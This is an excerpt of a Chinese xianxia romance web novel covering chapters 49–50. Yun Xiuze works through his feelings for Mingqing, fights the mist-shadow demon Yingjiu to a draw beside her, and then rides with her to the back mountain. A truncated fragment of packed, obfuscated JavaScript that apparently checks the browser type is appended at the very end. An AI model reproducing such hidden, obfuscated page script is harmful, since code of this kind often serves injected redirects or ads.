他日复一日压抑着自己的心,可鸣音曾说,若是他真将自己围成了铜墙铁壁,没有个口子,早晚会被压垮。 于是每当压抑到了极点,他就会在无人处自己与自己对抗,或者说疯上一场,用来发泄心中积压的情绪。 而他已经很久没有这么干过了。 云修泽也自认为了解自己,本以为不至于此,可当他回过神来的时候,手已经握紧了褚闲的剑柄,利刃出鞘,仍在不断的颤抖。 他不欲破坏这座园子,于是便到了湖中。 被剑刃灵气激起的水花几乎有一丈之高! 云修泽扬起水幕,又转身断水而斩,水像一张巨大的画布,被他拦腰截断,断裂的缝隙处,露出了他赤红狠戾的双眼! 云修泽落在荷叶模样的石台上,一个轻点又旋身而起。 本来平静的水面被搅的风浪不息,水花不断炸起,云修泽穿梭其中,偶尔踩水借力跃起,每一次出手具是狠绝,只恨不得所斩之物非是水流,而是扰人的心魔。 他出手的速度越来越快,也越来越狠,几乎只能见到残影,可也越来越不得章法,就像是孩子较劲一般,疯打疯闹,这样下去,迟早会伤到自己。 他的身上已有了数道划痕,皆是拜自己所赐,在又一次快要伤到自己时,一颗石子快速的从高处飞来,穿过挡在云修泽面前的水幕,一下打在了褚闲的剑身之上! 剑身发出嗡鸣,震停了云修泽的动作,同时也以他为中心,水面泛起涟漪,层层向外推去,一个呼吸间,就已经将翻涌不止的水面重新抚平。 云修泽动作僵硬的将拿剑的手垂了下来,站在石台上,微张着口,出神的喘息着。 他的身上已经湿透了,黏在一起的碎发沾了几缕在他的脸侧,水珠顺着他的下颚脖颈流下,最终没入了衣襟之中。 以他的本事,完全是可以在水幕中从容穿梭而滴水不沾的,此时却湿的不成样子,像是从水中捞出来一般,由此可见他的心绪之杂乱,已经连避水的耐心都不剩一二。 他向上看去,一个身影在亭子的尖顶抱臂而站,月亮在他背后,让人看不清他的模样,不过本来也看不清楚。 云修泽僵硬的勾了勾嘴角,不断起伏的胸膛代表着他的心绪还未平复,但他还是尽力让自己的声音显得正常一些。 “这个出场很特别啊,我要是姑娘,恐怕就要对你生了爱慕之心了,行大哥。” 行愿平静的看着下面堪称狼狈的云修泽,微不可查的叹了口气后,就从上面下来,到了亭子中,自顾自坐下。 而云修泽看着他的动作,又在原地待了好一会儿,才提起脚,缓步跟了过来。 他走的慢,可当他到了亭子里的时候,身上就已然干了,状态瞧着也已经恢复了平常的样子,他笑道。 “行大哥,这么晚了,怎么到这儿来了?” 行愿不动声色打量了他一下,言简意赅道。 “路过,察觉到灵力波动,来看看。” 云修泽迟钝的点点头,也没有像往常那样接话,两人就这么陷入了沉默。 行愿突然敲了敲桌子,吸引了云修泽的注意力,他沉声问道。 “你在想什么?” 听到他的问话,云修泽却有些愣神。 他在想什么......其实具体的他自己也说不出来,他时刻束缚着自己不可任性妄为,可若真的不随心所做,就只怕这份情思,最后真的成了痴念、妄念。 他无法说服自己,无论是哪一方都是如此。 行愿又沉声说道。 “不论你在想什么,调整好你的状态,想清楚你在这里究竟是为了什么。” 云修泽一愣,旋即笑了笑,斟酌再三,便出口问道。 “行大哥,你可有心爱之人?” 行愿似是顿了顿,随即说道。 “并无。” 云修泽苦笑。 “我自许明白,总在高处评判着众人情态,情之一字我早有所闻,也知道其中苦楚,可当自己真的生了情时,便知先前之浅薄,竟未曾体会到其苦之万一。” 行愿看着他。 “明青?” “是她。”云修泽承认的干脆,他们几个之间也可说得上是朝夕相处,瞒不过去,也并不想瞒。 “可你甚至并不知她的真实身份。” “那又如何?”云修泽自嘲一笑,“若心随我动,我也必须要搞清她的来处去处,清除我们之间所有可能的阻碍之后,再谈及动心二字。” 行愿的目光微不可查的柔和了一些。 “你因此困顿?” 云修泽微微蹙眉,显得有些失落。 “我们终归会回归各自的家族,若无法相守,又何必相知呢?” “我记得明青有个哥哥” 云修泽摇摇头。 “话虽如此,可她兄长早已失踪多年,信中虽提及到了镜双子,但是就算找到他们,也不一定能找到他,那对龙凤双子失去踪迹已久,直到地图的横空出世,才又叫世人望见了找到他们的可能,而她兄长离家之时,地图尚未出现,是否能找到,就更难下定论了。” 他停了停,又一次开始发呆,时间久到行愿忍不住想要叫他时,他才再次开口,他问道。 “是不是只有强到了镜双子那个地步,才能将一切掌握手中?” 行愿停了一会儿,眼睛撇向水面的另一边,声音在面具的覆盖下显得有些沉闷。 “怎么会,就算强如他们,也是有诸多无力改写之事的。” 他重新看向云修泽,见他仍是打不起精神,就低声哼笑一声,说道。 “我看你倒是在自寻烦恼。” “怎么说?”云修泽抬眼看他。 “何须如此纠结将来之事,世事变化从来难测,你只需跟随你的本心,该出现的,总会出现,不过是时间的问题。” “是啊......”云修泽垂眸,低声呢喃着。 行愿说的,其实就是云修泽本来会做的决定。 直至此时,他才恍然明白过来情这一字对他的影响之深,让他踌躇不止,已变得有些不像他本来的样子了,而他本该一往无前,就像之前承诺过的。 他会去找她,无论......他都该去的。 眼见云修泽神志愈发清明坚定,行愿眼中就划过一丝笑意,站起身拍了拍他的肩膀。 “若是最后能成功,你可得对她好,不然就是对不起我,我定然是要找你麻烦的。” 云修泽笑叹一声。 “是是是,劳大哥开解我,你放心,定然不给你找麻烦的机会。” 行愿化掌为拳,轻轻敲了敲他的脑袋。 “好了,天色已晚,你们明日还有对战,早些去休息吧。” 云修泽顺着他的力道缩了缩脖子,一仰头,发尾摆动,嘴角噙上了笑意。 “知道了,这就走了,行大哥也去歇息吧,今日是我耽搁你了。” “净说些没用的。”行愿摇头不再理他,飞身离去了。 云修泽也晃晃荡荡,踏着早被他弄湿的石台,一步一步隐入了暗色之中。 而那边本该离去的行愿则停在了湖面的边缘,等云修泽的身影完全消失,才微微转头看向他离去的方向。 他的身边,出现了另一个人的身影。 行愿低头看去。 “多谢你允我前去。” 唐思月看着湖面倒映的月亮,面无表情的说道。 “分内之事,也是应该的,不如说更合心意,我无意束缚你,是你仍没有断开绳索,行愿。” 她转头,将一缕长发从行愿的身后拨至身前,一路顺下来,轻声说着。 “我为你取这个名字,本心也是希望你能够所行即所愿,早日找回自己的心,怎么样,可觉得心中安定几分?” 行愿微微垂首,方便她的动作,听她问话,便回道。 “是,已经隐约找到了些方向,无论是这么多年见过的人和事,还是最近这短短的时光。” 他抚上自己的心口,又一次看向云修泽离去的方向。 “说来惭愧,我总能从这些年轻一辈身上学到些东西。” 唐思月拽了一下他的头发,笑骂道。 “什么年轻一辈,你当你自己多老了不成?真是的,说话也不讲究些。” 行愿被她拽的歪了下头,眼睛里透露出笑意。 “是我失言,你别恼我。” 唐思月放开他的头发,像是与他玩笑般问道。 “你觉得我们老大怎么样啊?” 行愿鼻息微微加重,像是叹了口气。 “修泽性情坚韧,心思缜密,很多事情心中有数,只是偶尔忧虑过甚,心绪动荡,我担忧他长此以往会生心魔,倒行偏激之事。” “我倒觉得没什么。”唐思月歪了歪头,表情有些无味。 “君子如竹这四个字就像他母亲给他栓的一根绳,他能靠这根绳拉住自己的。” 行愿观察了一下她的表情。 “你觉得他能和明青走到一起吗?” 唐思月侧头一笑,将他的心思看透。 “我倒是挺希望他们走在一起的,要知道,为了心中所念之人,人是可以爆发出令人惊叹的力量的。” 是啊。 行愿看着水中月默默无言,这也是人复杂且神奇的一面。 唐思月,“走吧,天色已经很晚了 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“别担心,只按照我们先前说的,尽力而为就好,未必没有胜算。” 明青盯着他看了一会儿,直到把云修泽看的开始有些不自在的时候,才出声问道。 “你脸上的伤是怎么回事?” 云修泽脸上有一道细长的血痕,不仔细看根本看不出来,她记得清楚,昨晚见面时,这道伤还不存在,只一个晚上,为何就添了道伤? 云修泽像是才想起来,伸手摸了摸伤口,讨饶的笑道。 “没什么大碍,不过是今早起来练剑时晃了个神,不小心留下的,一会儿就痊愈了。” 明青又看了他一会儿,也不知信是没信,但也没再追究。 云修云在旁边露出了奇怪的表情,刚想说什么,就被唐思月在背后掐了一把,疼的他差点没叫出来。 他满脸疑惑的去看唐思月,想知道自己是不是哪里不小心得罪了她,可她偏又像个没事的人一样,他也只能转头将这点儿委屈咽回了肚子里。 不过这么一个折腾,倒是将刚才想要搭茬的事儿忘了个干净,只一门心思的想如何哄她。 唐思月和行愿对视一眼,见他点头,心中就不由觉得有些好笑。 这伤应该是他昨晚留下的,按他身体的痊愈速度,这么点儿伤,一晚上早就该消失的无影无踪了才是。 至于为什么到了现在还能留着,恐怕就是他刻意为之,耍这点儿小心思要去博明青的注意,也不怕摔跟头,当真是有意思。 到了地方,唐思月、云修云和行愿去到了看台上,而云修泽和明青见影玖和另一只雾面影已经站在了场中的一个擂台之上,就直奔那里而去。 他们来的虽不算早,但也没有迟到,不过当他们站上擂台,影玖还是不满的说道。 “你们来迟了,难道是怕了我不成?先说好,本少主好不容易想找点乐子,你们可别先给我投降。” 云修泽轻声嗤笑,转头与明青耳语。 “之前我们与影玖都未正面交谈,今日一看,他倒是会自说自话,与前几个相比,竟还有些孩子心性。” 明青微微点头,也觉得影玖给他们的感觉和之前有了些不同。 影玖本就对他们来迟心生不满,见他们还敢无视他,当着他的面自顾自说起话来,就更觉得恼怒。 他的右手张开,手心冒出黑雾,逐渐形成了一条长鞭的模样。 他握着那条黑雾组成的长鞭狠狠一甩,打在擂台上,竟像是真的鞭子一样,伴随着簌簌的破空声,发出了十分清脆的‘啪’的一声,成功将对面两人的注意力吸引了过来。 云修泽双眼微微一定,认出了那条鞭子的形状正是他们初见那天灵儿用的那条鞭子,这是在变相的提醒他们,他已经认出他们了...... 这时影玖扬声说道。 “雾面影——影玖!” 一直在他身后未曾出声的同族,此时也跟着报了名字,嗓音低沉沙哑,甚至有些刺耳。 “雾面影,影环。” 影玖拿着那条鞭子朝他们一指,说道。 “现在该你们了,给你们个荣幸,死前报上你们的名字。” 虽然看不清影玖的模样,可云修泽就是能通过那一团黑影感觉到他此时的表情应该十分的高傲,也许还有些趾高气昂的得意。 不过就算他表现的再如何轻浮,云修泽也明白不能掉以轻心。 他握着剑柄,剑尖向下,拱手认真说道。 “第七洲,云修泽。” 明青也紧随其后,做了相同的动作。 “第七洲,明青。” 影玖好像是愣了愣,随即就像是被人族的礼节搞得失去了些兴趣,握着鞭子的手一放,那鞭子便如同出现时一般消散在了空中。 他还是不屑于用这种武器。 随着鞭子彻底消散,这场比试,也正式拉开了序幕。 49. 协济二十五 雾面影的难缠程度还要再云修泽的预料之外,他们可以从阴影中穿梭的能力十分棘手,让人防不胜防,擂台之上又有限制,无法御剑防御,就算轻功卓绝,也必然会有落地与影子相触之时。 不过好在这种能力也不是可以无限制使用的,就这一会儿观察下来,云修泽发觉他们若是想要全身没入阴影之中,耗费也有不少,如此,他们便不可能无限制的躲在阴影之中,否则打又打不到,躲又躲不了,才是真的叫人气闷。 云修泽于打斗中迅速接近影玖,趁其不备一剑劈向他的脖颈,就在剑刃马上要挨上皮肤的那一刹那,影玖轻笑一声,随即脖颈一片尽皆化为黑雾,禇闲就这般穿雾而过,没能给他造成半点损伤。 反而云修泽要因为剑招的惯性送上门去任其宰割。 眼见着影玖的手快速向自己的脖颈处袭来,云修泽也迅速反应过来用左手与其相抵,借力在空中翻转身体,顺利和他拉开了距离。 影玖哪里肯放过他,立马就要追上去。 可下一刻,随着‘噗呲’的一声响动,就有剑尖穿腹探出,此剑正是深流。 明青一击得中,毫不贪心立马抽剑回转,在她离开的下一瞬,她刚刚所在之地就被一阵黑雾腐蚀,其威力之大令擂台也下陷三分,可想而知若是作用在人的身上会造成什么样的伤害。 这却是影环出的手。 他来到影玖身后,低声快速的说道。 “少主,是我失手没能拦住她。” 影玖怒极。 这招他们前日对战九乙木时就用过,当时他在高台之上还曾嘲笑过圭许那个孤僻的疯子愚蠢。 上台前特地嘱咐了影环让他拖住副攻,第七洲这两个人实力已经有所显露,他也知道影环不是他们的对手,但他是族中少有的变异者,所吐黑雾带有腐蚀效果,所以他本以为让他拖住其中一人,好让自己专心对付另一个人应该是没什么问题,谁知还是低估了他们。 影玖暗自咬牙,拂袖怒道。 “废物!让你拖个人都拖不住,要你何用!还不滚去接着打!若再让本少主受一次这样的伤,看本少主回去怎么收拾你!!!” 影环领命立马遁去追击明青。 影玖的手从伤口处放下,伤口已经被蔓延出的黑雾止住了血,看样子不日便能恢复。 云修泽眼眸微暗,无论是影玖还是圭许,受了这样的贯穿伤还能在短时间内恢复成不影响行动的模样,妖族的体魄之强果然不容小觑。 他微微一哂,自己的恢复速度也与他们差不多,单从这方面来说,倒是更像个妖族。 “跟我打还敢走神,是想赶着去见阎王吗?” 影玖借助阴影迅速来到云修泽面前,一脚下去,坚硬的台面呈网状轰然碎裂,碎石被震起,云修泽跃至空中,旋身向影玖踢去。 影玖向后弯腰躲过,顺势后翻没入了阴影中,恰逢影环向明青吐出一口黑雾,明青紧急后撤,来到了云修泽身边。 两人背对而站,耳听八方,警惕着消失的影玖。 影环落下地来,双手掐诀,一团黑雾就朝两人快速扑来。 云修泽将灵力大把大把的灌入到禇闲剑中,剑身泛起灵光,随即就被它的主人一把插入地面。 以禇闲为中心快速卷起了一场灵力风暴,不仅逼退了那一团不祥的黑雾,同时也将潜入阴影中伺机而动的影玖逼了出来。 遮住影玖面部的那团黑雾变浅了一些,仔细看去,似乎已经能够隐约看见他的模样。 看来刚刚潜行再加上抵抗风暴让他耗费了不少妖力。 狂风在场中肆虐,作为风眼的云修泽显然也耗费巨大,可他仍在咬牙坚持。 他要为明青争取时间。 在影玖出现的那一刻,明青也从她原来的位置消失了,她顺着风向急速狂奔,不过眨眼间就到了站位靠后的影环面前。 含有灵力的风暴对他们来说就像是可以刺破肌肤的利刃,让他们视线受阻的同时,还要分出相当一部分精力来抵消这份伤害,因此影环并没有第一时间对明青的到来作出反应。 明青面容冷然,周身攀升的气势锐不可当,落地的一瞬间矮身蓄力,深流随即上斩! 影环大惊,立马后撤想要隐入黑雾之中,可风暴吹散了绝大部分的黑雾,他也躲闪不及,当即被明青从右侧腰腹直接划到了左侧肩胛! 伤口不算很深,可明青剑意中蕴有一种特殊的堂皇正气,对他们这些阴属妖物伤害很大,比其他的伤难以愈合就算了,痛感更是直接翻倍。 此时这道创面极大的伤口正是让影环痛极! 他咬着牙忍住了没有惨叫出声,强撑着就要与她拉开距离。 明青一击得手,自然就要追击,可刚刚前进一步又马上撤了回来。 地面上一小片阴影处不知何时出现了一只手,如果刚刚明青不撤,就会被那只手正好拿住! 那只手并未就此罢休,明青顺着风势后翻躲闪,总有与地面相触之时,即使再如何短暂,那只手也能抓住机会紧紧追上。 明青于躲闪的间隙左右查探,看见了影玖站在原地,狂风吹乱了他的长发和衣袍,他却稳如磐石,右手则没入了一小片黑雾中,看来正是他的手段。 与刚刚相比,他脸上的黑雾似乎又浅了一些,明青几乎能看清他隐忍着怒气的表情。 本来这风暴的主要针对对象就是他,云修泽利用含有灵力的狂风将他困在原地,消耗本就如泄了闸的洪水,此时还要抽出手来帮影环对付明青,自然更是捉襟见肘,也不怪他面色不好看。 刚刚被逼退的影环此时也追了上来,伤口已经不再渗出鲜血,可看他别扭的姿势就知道,那道伤还是十分影响他的行动。 含有如此庞大灵气的风暴其实无论对人族还是对妖族都有同样的伤害,可明青在其中却可以说的上是来去自如,盖因云修泽刻意让风暴避过了她。 如此细微的操控可以说是相当惊人,同时耗费的精力之大也十分恐怖。 云修泽握着剑柄的手用力到指节发白,已经开始出现细微的颤抖。 影环直奔她的要害而来,明青不得不侧身躲避,可这一躲,就给了影玖机会。 一只冰凉的手抓住了明青的脚腕,明青暗道不好,提剑欲刺,却被他直接抡了起来! 他的力量很强,抡起明青来简直就像她没有重量一般。 速度极快,又刻意逆着风向,两者相合立马就让明青出现了严重的耳鸣! 云修泽一惊,手立刻松开,风暴也随之消弭无踪。 他上前抢了两步,影玖就直接将明青甩到了他的身上。 云修泽接住明青,被这力道逼得向后撤了几步,随后他将明青放下,就发现她的耳孔渗出了鲜血。 明青蹙眉按了按,看见指腹沾了血,耳朵只能听见刺耳的消音,一时半刻根本无法好转。 云修泽脸色冷了冷,但他没有轻举妄动,刚刚探查之时就已发现明青所剩灵力不多,而他自己的灵力也已经见了底,不过好在...... 云修泽看向对面两妖。 影环跪地捂着伤口不断粗喘,面上的黑雾已经散尽,露出了他本来的模样,脸型偏方,乍一看倒像是个忠厚之人,可眉宇间偶尔闪过的狠辣又破坏了这种感觉。 影玖虽然还站着,但脸上的黑雾也已经十分浅淡,看样子和云修泽一样也只剩了个底。 影玖黑着脸,双手气的不断颤抖,他从来没被人逼成这样子过,他十分厌恶暴露自己的面容,这对他来说就代表着彻头彻尾的失败! 影玖明白这场是赢不了了,就算出手,与对方也只会是两败俱伤,而自己的模样则会彻底暴露,趁着如今尚有一些黑雾遮面,影玖咬牙说道。 “到此为止,这局我们平......” 唰——!!! 剑声逼近,打断了影玖的话,他下意识运起妖力回防,禇闲剑尖直指影玖面容,在半空中与无形的屏障对抗,片刻过后,云修泽挑眉一笑,利落的收了剑,这才将刚刚打断的话说了出来。 “好啊!我们平手!” 影玖一愣,抬手一摸,才发现脸上的黑雾已经散尽了,最后一丝妖力在云修泽刚刚那一剑下彻底耗尽。 那边云修泽收剑入鞘,发出轻微的一声剑鸣,他刻意的调笑道。 “没想到啊,我们影少主成熟又有魄力,竟然是个娃娃脸。” 没错,影玖长得十分人畜无害,笑起来虽然是恶劣的模样,但也只让人觉得是个喜欢恶作剧的弟弟,十分不符合他之前展现出来的形象。 此时影玖回过神来,登时狂然怒极,双眼化为血红的妖瞳,就算要透支自己也要抬手向云修泽攻去,誓要取他性命!!! 面对他的来势汹汹,云修泽站在原地丝毫不慌,他笑看着影玖动作,果不其然再碰到他的前一刻,空中降下几道威压,瞬间就将影玖压在了地上动弹不得。 是幕后看顾的大能出手了。 平局之说已经出口,再行攻击显然不合规矩,自然会有人出手镇压。 影玖被压在地上算是冷静了几分,但双眼仍是赤红,死死盯着云修泽,声音如同扭曲蚀骨的诅咒。 “云、修、泽!你、给、我、等、着!” 云修泽丝毫不惧,站在原地俯视于他,声音笃定而平静,仿若再来一次也会是同样的结果。 “我期待着。” 他的话音落地,现场除了仍没有分出胜负的擂台偶尔还会穿来打斗声外,都自发摒住了呼吸,大多数人都会觉得影玖会再次暴起。 可事实与之完全相反。 影 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一直关注着他们的看客爆发出了欢呼声,其中也参杂了一些不满的声音,平局这个结果谁都没有想到,无论是赌第七洲胜还是赌雾面影胜都没捞到一分好处,自然直呼倒霉。 明青在这震耳欲聋的欢呼声中看见云修泽张口向她说了些什么,但她的耳鸣仍没有好转,再加上吵闹的环境,一时间没有分辨出云修泽的话。 于是她向云修泽又靠近了两步,不自觉抬高了些声音,问道。 “你说什么?” 云修泽无奈一笑,猝不及防探头挨近了她的耳廓,感受到明青突然僵硬的身体,眼中闪过一丝促狭,但说出来的话却有点狼狈。 “扶我一把,刚透支有点儿狠,快站不住了。” 明青诧异的转头看了他一眼,心中觉得有些好笑,也是难得见他这副样子。 明青想了想,又稍微凑近了些,以十分亲密的姿态挽上了他的胳膊,两人就犹如一对恩爱的道侣般向下走去。 这回换云修泽僵硬了,虽说是他让扶的,可说出口的话也没细想,现在两人凑的那么近,甚至能让他感觉到她身体的温热,这个认知让绯红带着热度迅速爬上了他的耳根。 可是在这么多人的注视下,他也只能故作自然随她离去,掩饰着自己无力的事实。 他这副样子引的众人好生羡慕,战场得意,又有美人在侧,正是快活无比! 可别人不知道怎么回事,场下的柳恒舜还能不知道吗? 他在心中暗笑,以他对这个弟弟的了解,这绝对是已经将灵力透支干净了。 又要为美人讨债,又要顾及队伍的形象和震慑力,也真是辛苦。 不过嘛...... 柳恒舜咂舌。 虽然将自己闹成了这个样子,但也博了美人欢心,他这弟弟,不开窍则已,开窍就如此会耍心眼儿,真是不知道随了谁。 看台上的灵儿则是不顾形象笑了个花枝乱颤,染着鲜红指甲的手抚上了身侧刚刚结束战斗回到她身边的令苏的脸,戏谑地看向了属于雾面影的那个台子,嗤笑道。 “影玖成日里就像个鼠精一般藏头露尾,装的深不可测,说话恨不得绕八百个弯,今日现原形了吧,看他以后还敢在本族长面前那么嚣张,哼!” 灵儿平日里最烦应付影玖,无论妖族生来是什么,善于什么,本性也都偏于直来直往,有什么纠纷打一架就是,可偏偏影玖总是装神弄鬼,灵儿懒得和他绕圈子,却又碍于身份,有时不得不见他,现下可是让她狠狠出了口气,指望着以后拿这个去笑话他。 令苏弯下身子任她抚摸,笑的一脸狡猾,身后的狐尾也动了动,不知又在心中打什么蔫主意。 那边云修泽和明青下了擂台,云修云三人就赶过来与他们碰头。 显然他们也很了解云修泽和明青的性子,五人围在一起,唐思月首先就去查探云修泽。 她捏着他的手腕,片刻过后松了口气,说道。 “没事儿,灵力透支的不严重,将养几天就养回来了,幸亏没留下什么暗伤。” 随即她又去查看明青,粗略看了看她的耳朵,也是没什么大碍,但同样需要细心调养。 所幸二对二已经打完,离五人团战还有个五天左右的时间,足够他们休养生息。 唐思月挽着明青,云修云则架起了云修泽,云修泽在自己弟弟身上可就不像刚才在明青身边一样体贴了,几乎向他交付了身体三分之二的重量。 云修云什么也没说,默默支撑着他,五人一边走,一边还能听见他语气生动搞怪的说着刚刚众人的反应和他们在台上的英勇机智。 云修泽嘴角带着笑意,眼中也有了一丝温和。 不知何时,云修云的臂膀也已经变得坚实,能够稳妥的将他支撑。 他心中轻叹,以后的路,应该会比他最初所设想的要好走许多了。 50. 协济二十六 明青正在沁园里无意识的寻找着云修泽。 明水心当日说着即将离开,却还是多留了一天,又看她打完了和雾面影的那一场,今日方才启程。 明青刚刚送她离开,看着远去的车架,心中莫名有些气闷,却也说不上来究竟是为了什么。 车队彻底消失在远方,明青又在原地驻足了一会儿才转身回了沁园。 她下意识的想去找云修泽,可走了几个地方都没有找到,烦乱的情绪不禁扩大了一些,直到听到了马儿的嘶鸣声。 明青顺着声音找去,到了马棚,竟发现云修泽是在这里。 他的心情看上去不错,手上一刻不停的给踏风和追云梳着毛,还时不时摸摸马脸,低声和它们说着什么,就好像他能和它们无障碍交流一般。 明青在远处看着,情绪很神奇的在这一刻就静了下来。 她轻轻靠在旁边的墙上,知道自己过去会打破这个和平安宁的场景,所以干脆就待在原地。 倒是云修泽先发现了她,笑着抬手喊她过去。 明青犹豫了一下,还是抵不住诱惑,试探着靠了过去。 随着明青的接近,马棚里的其他马儿都开始嘶鸣,显得十分不安,踏风和追云总能和明青接触,虽然没有叫起来,但四只蹄子也不断的在原地踩踏,动来动去。 明青一下就停住了靠近的步伐,有些无措的看向云修泽。 云修泽被她看的心头一痒,觉得她这个样子甚是可爱,有心想多看看,却又有些舍不得她露出这般无助的神情。 他拍了拍踏风的马脸,低声说着什么的同时,释放了一丝带有安抚意味的灵力。 他的身上拥有天生灵竹的气息,动物不自觉的就会亲近信任他,更何况他还刻意散发的灵力还带有安抚的意味,于是很快,躁动不安的马儿们就静了下来,温顺的接受了明青的靠近。 明青素来冷淡的脸上显露出了一丝神奇的表情,她将手放在踏风身上,试探着来回抚摸。 踏风的前蹄在原地刨了刨,打了个鼻响,也没反对,站在原地任她摸。 明青有些新奇的摸了好一会儿。 她不是没骑过马,只是很少,动物最有灵性,而她一身毒血,见到她往往就会四散而逃,平时赶路,若是不着急,一般就会租个马车或者跟着车队慢悠悠的前行,可若是着急,就少不得要去挑个脾气温顺的马,威逼利诱的也要逼迫它带她前行,到了地方再将它放离。 只不过那少有的几次体验中,无一不是心急如焚,也基本不会有心情去仔细感受。 云修泽笑看着她,却猝不及防被追云从背后顶了一下,他一个趔趄,差点被顶到踏风身上去。 他回头一看,追云正歪着个马脸,大大的眼睛向下看着他,露出了点眼白,嘴唇也掀着,贱兮兮的,一脸挑衅的模样。 见明青扭头担心的看过来,云修泽抽了抽嘴角,无语的说。 “没事,我刚忘了继续给它梳毛,这家伙应该是在闹脾气。” 明青有些惊奇,这种和动物和平相处,甚至能够分辨心意的事情对她来说显然很稀奇。 见云修泽一脸任劳任怨的继续伺候起这个大爷,她感觉心情有些说不上来,飘乎乎的,又看了好一会。 不得不说,云修泽的身材真的挑不出刺来,不算很壮实,但是很清俊,今日为了行动方便,他没有套很多层衣服,只是一身简单的窄袖白衣。 可有时候越是简单越是能衬托出人本身的优势。 他的腰封勒的紧紧的,但看上去又完全不妨碍他动作,反而将他窄腰的曲线很好的勾勒了出来,当他展臂或者弯腰的时候,那段曲线也会随之伸展变化,让人很有用手为之丈量的冲动。 明青这么想着,手也不禁缓缓向那处伸去,直到真的差点碰上的时候,才猛地回过神来,想要将手缩回来。 这时,身旁传来一声低笑,伸出去的手就被当场抓了个现行。 明青抬头一看,才发现云修泽不知什么时候已经停下了动作,正在旁边挑眉笑看着她。 云修泽盯着她的眼睛,笑容不变,手拉着明青就要继续刚才她未能完成的动作,忽视她轻微的抗拒,抓着她的手一把将她按在了自己的腰上,戏谑的笑道。 “怎么样?明大小姐可还看得上眼?” 明青的脸颊骤然有了一丝飘红,但她也不过只是慌乱了一瞬,马上就重新镇定了下来。 她挣开了云修泽按着她的那只手,他本以为她要抽回去,却没想到她神色十分自然的,像刚刚摸踏风一样在他的腰侧来回摸了摸,拇指轻捻,离开时,甚至还捏了一把,让云修泽的腰身有了一丝轻颤。 他听见她淡定的说。 “嗯,还不错。” 这回那抹红就到了云修泽脸上,他捂着刚刚被掐的腰,嘴张张合合,像是想说些什么,但又说不出来,最后也只是你你我我的说了一通,完全就是个被轻薄了的良家女子的模样。 明青心中好笑,面上却丝毫不显,轻咳了一声,模样十分正经的问道。 “这里都有专门的小厮侍候,你怎么突然想起来跑这儿给他们梳毛来了?” 她这边问着话,那边云修泽就又一次被追云顶了一脑袋,郁闷的转身接着梳毛去了。 明青等了一会,才听他回答,他的嗓音有些低哑,红色也还没有从他的皮肤上彻底褪去,他说道。 “沁园没有建演武场,我想去后山找找合适的空地,好让咱们几个多磨合磨合。” 明青本来饶有兴趣盯着他耳后的眼神顿了一下,后知后觉的才想起来,明水心不是法修,族中弟子纵有练体,也用不上那种强度的演武场,所以自然没有修建,倒是她疏忽。 于是她点了点头,说道。 “我和你一起去。” 云修泽这时方才彻底缓过来,恢复了正常的样子,他的神色定了定,绕过来将踏风身前的围栏推开,然后回头一个跨步就骑到了它身上,他拉着缰绳坐在马背上,从高处看着明青,笑道。 “说是后山,可实际上离这里还有一小段路程,我打算骑踏风去,你呢?” 见明青的眼神飘向了旁边的追云,云修泽就有些幸灾乐祸的打断了她的念想。 “你可别打追云的主意,追云是个倔脾气你又不是不知道,能让你摸,可不代表能让你骑,你要强行为之,它恐怕把自己马腿摔断了,也要将你摔下来。” 那边的追云就好像听懂了他们在说什么,不屑的打了个响鼻,昂首挺胸,仿佛十分引以为傲。 明青有些为难,不得不放弃了这个想法,正在她思索对策的时候,头上就投下了一片阴影。 是云修泽从马上探下了身子,揽住明青的腰,用了巧劲儿一把将她抱到了身前。 明青猝不及防被带了上来,不知是因为受到了惊吓,还是被碰了腰,亦或是和云修泽贴的如此近的缘故,身体十分僵硬。 云修泽倒也没想着占便宜,特意与她拉开了些距离,没让两人紧紧贴住,但嘴上却十分不饶人的要讨回一局。 “怎么?许你碰我的,不许我碰你的?” 明青觉得他强词夺理,刚刚明明是他硬拉着她去摸的,但此时自己被他圈在怀里,身下的踏风也一副蓄势待发的模样,实在不是个适合打嘴仗的时机,于是也只是幽幽看了他一眼,没再说什么。 云修泽自觉扳回一局,心情很不错的带着她驾马往后山去。 后山树林茂密,地方也大的很。 两人骑着踏风,一开始是云修泽握着缰绳,后来,缰绳就到了明青手上。 也许是刚才对话的心理作用,明青总觉得云修泽一开始是想把手放在自己的腰上,用来维持平衡的,心中还不由得有点紧张。 也许是看穿了她的这份紧张,一声似有若无的轻笑过后,那双手就离开了她的腰肢附近,转而用一只手搭在了她的肩上。 明青松了一口气的同时,又忍不住有点小失落。 察觉到这别扭的心情,明青紧急甩了甩头,把这些奇怪的想法甩了出去。 云修泽在后面好笑的看着她动作,怕说出来让她恼羞,将自己甩下马去,于是干脆也不去点破。 两人一马在后山寻找着合适的地方,这里的树粗壮而紧密,两人便一直向着树木较为分散的方向去找。 一连找了好几个地方,都没有找到合适的地方,大多都不够他们施展。 找了好久,才总算发现了一个各方面都很不错的场地,只不过中间还有一颗倒下的枯木,只要将其挪开就可以。 两人翻身下马,走上前去。 云修泽抽出褚闲,斜着插在了枯木的一侧,稍微一撬,只要能将其撬动,就可以用灵力的冲击将它扫到一旁去。 枯木被巨大的冲击力扫了开来,落在旁边发出一声巨响,随着被震起来的风缓缓消散,明青就在一旁突然发出一点声音。 云修泽回头看去,就见她在刚刚那根枯木的根系附近蹲了下来。 而那里正长着一株幼嫩的新苗,刚刚被枯木挡住才没被发现,此时突然失了庇护,嫩绿的枝叶,在风中就显得有些瑟缩。 “你看。”明青用指腹轻轻托了托幼苗的叶子,“是枯木逢春。” 云修泽看她神色平静,周身的气场却显得很温和,就知她动了些心思。 于是云修泽也走上前去仔细看了看,这株幼苗虽然还很稚嫩,但生机蓬勃,如无什么意外,显然是可以顺利存活的。 “枯木逢春极为罕见,也不知它经历了多少困难,方才冒出这一株新芽。” 见明青看过来,云修泽就笑道。 “这么罕见的情况,今日叫你我碰上,也是一种缘法,我们修炼虽也算得上是逆天而行,但对世间万物还是要怀抱敬畏之心,这里我们就留给它吧,再去找找别的地方就是。” 明青的眼神动了动,嘴唇微抿,看上去有些高兴,很快就点头同意了下来。 明青站起身,两人正准备牵着踏风再去找别的地方,就突然感觉到了有什么东西正在快速的接近。 他们的感知都很灵敏,迅速靠在一起,警惕了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 